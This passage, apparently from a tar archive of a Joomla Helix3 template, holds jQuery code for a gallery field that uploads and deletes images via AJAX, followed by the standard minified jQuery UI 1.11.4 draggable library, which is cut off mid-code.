						$this.prev('.sp-gallery-items').find('.sp-gallery-item-loader').remove();
						$this.prop('disabled', false);
						$field.find('.btn-sp-gallery-item-upload').removeAttr('disabled');

						var images = [];
						$.each($field.find('.sp-gallery-items').find('>li'), function( index, value ) {
							images.push( '"' + $(value).data('src') + '"' );
						});
						var output = '{"'+ $field.find('.form-field-spgallery').data('name') +'":['+ images +']}';
						$('.form-field-spgallery').val(output);

					},
					error: function()
					{
						$this.prev('.sp-gallery-items').find('.sp-gallery-item-loader').remove();
						$this.val('');
					}
				});
			}

			$this.val('');

		}));

	});

	// Delete Image
	$(document).on('click', '.btn-remove-image', function(event) {

		event.preventDefault();

		var $this = $(this);

		if (confirm("You are about to permanently delete this item. 'Cancel' to stop, 'OK' to delete.") == true) {
			var request = {
				'option' : 'com_ajax',
				'plugin' : 'helix3',
				'action' : 'remove_image',
				'src'	 : $(this).parent().data('src'),
				'format' : 'json'
			};

			$.ajax({
				type: "POST",
				data   : request,
				success: function(response)
				{
					var data = $.parseJSON(response);
					if(data.status) {
						$this.parent().remove();

						var images = [];
						$.each($('.sp-gallery-items').find('>li'), function( index, value ) {
							images.push( '"' + $(value).data('src') + '"' );
						});
						var output = '{"'+ $('.form-field-spgallery').data('name') +'":['+ images +']}';
						$('.form-field-spgallery').val(output);

					} else {
						alert(data.output);
					}
				}
			});
		}
	});

});
                                                                                                                                                                                                                                                                                                                                                                                                                            system/helix3/assets/js/jquery-ui.draggable.min.js                                                  0000705                 00000076312 15242051520 0016166 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! jQuery UI - v1.11.4 - 2015-08-11
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, draggable.js
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */

(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var n,a,o,r=t.nodeName.toLowerCase();return"area"===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input|select|textarea|button|object)$/.test(r)?!t.disabled:"a"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}e.ui=e.ui||{},e.extend(e.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css("position"),s="absolute"===i,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,a=this.parents().filter(function(){var t=e(this);return s&&"static"===t.css("position")?!1:n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,"tabindex")))},tabbable:function(i){var s=e.attr(i,"tabindex"),n=isNaN(s);return(n||s>=0)&&t(i,!n)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(t,i){function s(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],a=i.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+i]=function(t){return void 0===t?o["inner"+i].call(this):this.each(function(){e(this).css(a,s(this,t)+"px")})},e.fn["outer"+i]=function(t,n){return"number"!=typeof t?o["outer"+i].call(this,t):this.each(function(){e(this).css(a,s(this,t,!0,n)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(e+".ui-disableSelection",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(t){if(void 0!==t)return this.css("zIndex",t);if(this.length)for(var i,s,n=e(this[0]);n.length&&n[0]!==document;){if(i=n.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(n.css("zIndex"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var n,a=e.ui[t].prototype;for(n in s)a.plugins[n]=a.plugins[n]||[],a.plugins[n].push([i,s[n]])},call:function(e,t,i,s){var n,a=e.plugins[t];if(a&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(n=0;a.length>n;n++)e.options[a[n][0]]&&a[n][1].apply(e.element,i)}};var s=0,n=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=e._data(n,"events"),s&&s.remove&&e(n).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var n,a,o,r,h={},l=t.split(".")[0];return t=t.split(".")[1],n=l+"-"+t,s||(s=i,i=e.Widget),e.expr[":"][n.toLowerCase()]=function(t){return!!e.data(t,n)},e[l]=e[l]||{},a=e[l][t],o=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new o(e,t)},e.extend(o,a,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},n=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,a=this._superApply;return this._super=e,this._superApply=n,t=s.apply(this,arguments),this._super=i,this._superApply=a,t}}(),void 0):(h[t]=s,void 0)}),o.prototype=e.widget.extend(r,{widgetEventPrefix:a?r.widgetEventPrefix||t:t},h,{constructor:o,namespace:l,widgetName:t,widgetFullName:n}),a?(e.each(a._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete a._childConstructors):i._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,a=n.call(arguments,1),o=0,r=a.length;r>o;o++)for(i in a[o])s=a[o][i],a[o].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(a){var o="string"==typeof a,r=n.call(arguments,1),h=this;return o?this.each(function(){var i,n=e.data(this,s);return"instance"===a?(h=n,!1):n?e.isFunction(n[a])&&"_"!==a.charAt(0)?(i=n[a].apply(n,r),i!==n&&void 0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void 0):e.error("no such method '"+a+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+a+"'")}):(r.length&&(a=e.widget.extend.apply(null,[a].concat(r))),this.each(function(){var t=e.data(this,s);t?(t.option(a||{}),t._init&&t._init()):e.data(this,s,new i(a,this))})),h}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=s++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,n,a,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},s=t.split("."),t=s.shift(),s.length){for(n=o[t]=e.widget.extend({},this.options[t]),a=0;s.length-1>a;a++)n[s[a]]=n[s[a]]||{},n=n[s[a]];if(t=s.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=i}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var n,a=this;"boolean"!=typeof t&&(s=i,i=t,t=!1),s?(i=n=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),e.each(s,function(s,o){function r(){return t||a.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?a[o]:o).apply(a,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||e.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+a.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),o=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}}),e.widget;var a=!1;e(document).mouseup(function(){a=!1}),e.widget("ui.mouse",{version:"1.11.4",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!a){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,n="string"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),a=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),a=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),e.widget("ui.draggable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===e(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("ui-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("ui-draggable-handle")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),n=s?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options,a=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,e(a).width()-this.helperProportions.width-this.margins.left,(e(a).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(e,t){t||(t=this.position);var i="absolute"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,n,a,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,s){var n=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,n))})},stop:function(t,i,s){var n=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,n))})},drag:function(t,i,s){e.each(s.sortables,function(){var n=!1,a=this;a.positionAbs=s.positionAbs,a.helperProportions=s.helperProportions,a.offset.click=s.offset.click,a._intersectsWith(a.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==a&&this._intersectsWith(this.containerCache)&&e.contains(a.element[0],this.element[0])&&(n=!1),n})),n?(a.isOver||(a.isOver=1,s._parent=i.helper.parent(),a.currentItem=i.helper.appendTo(a.element).data("ui-sortable-item",!0),a.options._helper=a.options.helper,a.options.helper=function(){return i.helper[0]},t.target=a.currentItem[0],a._mouseCapture(t,!0),a._mouseStart(t,!0,!0),a.offset.click.top=s.offset.click.top,a.offset.click.left=s.offset.click.left,a.offset.parent.left-=s.offset.parent.left-a.offset.parent.left,a.offset.parent.top-=s.offset.parent.top-a.offset.parent.top,s._trigger("toSortable",t),s.dropped=a.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,a.fromOutside=s),a.currentItem&&(a._mouseDrag(t),i.position=a.position)):a.isOver&&(a.isOver=0,a.cancelHelperRemoval=!0,a.options._revert=a.options.revert,a.options.revert=!1,a._trigger("out",t,a._uiHash(a)),a._mouseStop(t,!0),a.options.revert=a.options._revert,a.options.helper=a.options._helper,a.placeholder&&a.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger("fromSortable",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,s){var n=e("body"),a=s.options;n.css("cursor")&&(a._cursor=n.css("cursor")),n.css("cursor",a.cursor)},stop:function(t,i,s){var n=s.options;n._cursor&&e("body").css("cursor",n._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("opacity")&&(a._opacity=n.css("opacity")),n.css("opacity",a.opacity)},stop:function(t,i,s){var n=s.options;n._opacity&&e(i.helper).css("opacity",n._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var 